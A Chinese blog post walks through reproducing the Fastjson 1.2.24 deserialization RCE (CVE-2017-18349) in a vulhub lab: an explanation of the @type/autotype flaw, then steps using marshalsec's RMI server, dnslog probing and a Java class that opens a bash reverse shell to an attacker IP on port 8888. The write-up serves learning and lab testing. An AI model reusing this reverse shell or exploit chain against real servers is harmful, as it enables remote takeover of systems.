当前位置: 首页 > news >正文

Fastjson 反序列化漏洞(CVE-2017-18349)

目录

Fastjon介绍

序列化与反序列化

漏洞产生的原因

漏洞点测试

使用dnslog探测

反弹shell


这一篇是学习JAVA里面的fastjson 反序列化漏洞,这里还是参考别的师傅总结的文章进行学习

Fastjon介绍

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

 Fastjson 源码地址:

GitHub - alibaba/fastjson: FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.

Fastjson 中文 Wiki:Quick Start CN · alibaba/fastjson Wiki · GitHub

序列化与反序列化

 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

demo:

package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {// 将一个 Java 对象序列化为 JSON 字符串Person person = new Person("Alice", 18);String jsonString = JSON.toJSONString(person);System.out.println(jsonString);// 将一个 JSON 字符串反序列化为 Java 对象String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";Person person2 = JSON.parseObject(jsonString2, Person.class);System.out.println(person2.getName() + ", " + person2.getAge());}// 定义一个简单的 Java 类public static class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public int getAge() {return age;}}
}

漏洞产生的原因

fastjson<=1.2.24

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行

Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。

简单来说:

fastjson数据传输时,序列化话为了避免结果一样,添加了autotype机制(@type键),但其受用户任意调用,恶意构造序列化代码,受害者接受数据反序列化并调用相应模块去执行。

漏洞点测试

这里使用的还是vulhub靶场中的环境

进入到如下目录:

/root/vulhub-master/fastjson/1.2.24-rce

使用docker-compose拉取环境:

环境拉取换成后我们访问查看:

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件:

编译.java文件,生成.class文件:

在class文件所在的目录,Python起一个http服务:

然后在浏览器访问就可以看到当前目录的所有文件:

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,masrhsec项目地址:marshalsec-jar/marshalsec-0.0.3-SNAPSHOT-all.jar at master · RandomRobbieBF/marshalsec-jar (github.com)

下面使一款工具来生成,github下载链接:mbechler/marshalsec (github.com)

在pom.xml所在目录,需要运行以下命令生成.jar文件:

对页面抓包,然后将提交方式修改为POST,提交下列数据

发送后,RMI监听和HTTP监听都会收到请求

使用dnslog探测

可以看到是有回显的,说明我们是存在漏洞点的

反弹shell

这里首先就是需要在漏洞文件夹中新建一个shell.java文件内容如下,是反弹shell的语句:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.159.151/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

然后我们先在攻击机上使用nc进行监听:

然后将文件编译为class文件:

javac GetShell.java

 开启http服务:

python -m http.server 4444

访问页面可以看到:

 开启RMI服务:

然后还是抓包,将请求方式修改为POST,然后请求体中加上rmi监听的文件:

查看攻击机中的nc监听状态,可以看到已经成功的反弹shell了

参考文章:

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

完全零基础入门Fastjson系列漏洞(基础篇) - 先知社区

相关文章:

  • python版本的选择
  • chatgpt的命令词
  • 【数据结构陈越版笔记】2.1 引子【第2章 数据结构实现基础】
  • 使用react-markdown 自定义组件在 Next.js 中进行渲染
  • K8s的资源对象
  • 假装热闹的618!商家被榨干,大主播集体哑火……
  • 136.只出现一次的数字
  • 通过xml配置实现数据动态导入导出Excel
  • 学会python——制作一款天气查询工具(python实例七)
  • 【日记】被客户一顿输出该怎么办(431 字)
  • 【Python机器学习实战】 | 基于决策树的药物研究分类预测
  • STM32项目分享:智慧农业(机智云)系统
  • coco json 改名字 划分验证集
  • Mongodb在UPDATE操作中使用$push向数组中插入数据
  • 简单介绍vim
  • [NodeJS] 关于Buffer
  • 2017届校招提前批面试回顾
  • android百种动画侧滑库、步骤视图、TextView效果、社交、搜房、K线图等源码
  • docker python 配置
  • es的写入过程
  • Java|序列化异常StreamCorruptedException的解决方法
  • Node + FFmpeg 实现Canvas动画导出视频
  • php ci框架整合银盛支付
  • Swift 中的尾递归和蹦床
  • swift基础之_对象 实例方法 对象方法。
  • 分类模型——Logistics Regression
  • 基于 Ueditor 的现代化编辑器 Neditor 1.5.4 发布
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 如何合理的规划jvm性能调优
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 深度学习中的信息论知识详解
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • No resource identifier found for attribute,RxJava之zip操作符
  • FaaS 的简单实践
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • ​数据结构之初始二叉树(3)
  • ​水经微图Web1.5.0版即将上线
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • #数学建模# 线性规划问题的Matlab求解
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (2)(2.10) LTM telemetry
  • (4)Elastix图像配准:3D图像
  • (Bean工厂的后处理器入门)学习Spring的第七天
  • (pojstep1.3.1)1017(构造法模拟)
  • (ZT)一个美国文科博士的YardLife
  • (论文阅读26/100)Weakly-supervised learning with convolutional neural networks
  • (亲测有效)解决windows11无法使用1500000波特率的问题
  • (三)SvelteKit教程:layout 文件
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (一)u-boot-nand.bin的下载
  • .Family_物联网
  • .Net CoreRabbitMQ消息存储可靠机制
  • .net core使用ef 6
  • .NET MVC第三章、三种传值方式